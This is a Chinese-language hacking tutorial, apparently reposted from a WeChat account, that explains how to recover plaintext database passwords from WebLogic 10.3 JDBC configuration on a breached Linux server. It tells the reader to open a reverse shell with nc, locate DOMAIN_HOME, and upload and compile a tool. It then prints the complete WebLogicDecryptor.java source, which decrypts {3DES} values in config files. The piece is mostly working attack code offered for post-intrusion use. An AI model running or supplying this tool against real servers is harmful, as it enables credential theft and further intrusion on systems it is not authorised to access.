有时候jsp的站会使用jdbc连接数据库的,我遇到了一个,和大家分享下破解jdbc加密的方法,我测试的是weblogic 10.3,linux环境,成功得到明文的数据库密码。
参考资料:https://forum.eviloctal.com/thread-43306-1-1.html
1、首先,用nc反弹,执行set命令,查看DOMAIN_HOME路径
2、然后将WebLogicDecryptor.java上传到bin目录,用javac编译
3、没报错的话,执行以下命令,获得明文密码
Java WebLogicDecryptor DOMAIN_HOME路径 jdbc文件路径
WebLogicDecryptor.java源码:
import java.util.*;
import java.io.*;
import javax.xml.parsers.*;
import javax.xml.xpath.*;
import org.w3c.dom.*;
import weblogic.security.internal.*; // requires weblogic.jar in the class path
import weblogic.security.internal.encryption.*;
public class WebLogicDecryptor {
private static final String PREFIX = "{3DES}";
private static final String XPATH_EXPRESSION = "//node()[starts-with(text(), '"
+ PREFIX + "')] | //@*[starts-with(., '" + PREFIX + "')]";
private static ClearOrEncryptedService ces;
public static void main(String[] args) throws Exception {
if (args.length < 2) {
throw new Exception("Usage: [domainDir] [configFile]");
}
ces = new ClearOrEncryptedService(
SerializedSystemIni.getEncryptionService(new File(args[0])
.getAbsolutePath()));
File file = new File(args[1]);
if (file.getName().endsWith(".xml")) {
processXml(file);
}
else if (file.getName().endsWith(".properties")) {
processProperties(file);
}
}
private static void processXml(File file) throws Exception {
Document doc = DocumentBuilderFactory.newInstance()
.newDocumentBuilder().parse(file);
XPathExpression expr = XPathFactory.newInstance().newXPath()
.compile(XPATH_EXPRESSION);
NodeList nodes = (NodeList) expr.evaluate(doc, XPathConstants.NODESET);
for (int i = 0; i < nodes.getLength(); i++) {
Node node = nodes.item(i);
print(node.getNodeName(), node.getTextContent());
}
}
private static void processProperties(File file) throws Exception {
Properties properties = new Properties();
properties.load(new FileInputStream(file));
for (Map.Entry p : properties.entrySet()) {
if (p.getValue().toString().startsWith(PREFIX)) {
print(p.getKey(), p.getValue());
}
}
}
private static void print(Object attributeName, Object encrypted) {
System.out.println("Node name: " + attributeName);
System.out.println("Encrypted: " + encrypted);
System.out.println("Decrypted: " + ces.decrypt((String) encrypted)
+ "n");
}
}
本文始发于微信公众号(T00ls):【奇技淫巧】Weblogic 10 jdbc连接串密码破解 linux下亲测可用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论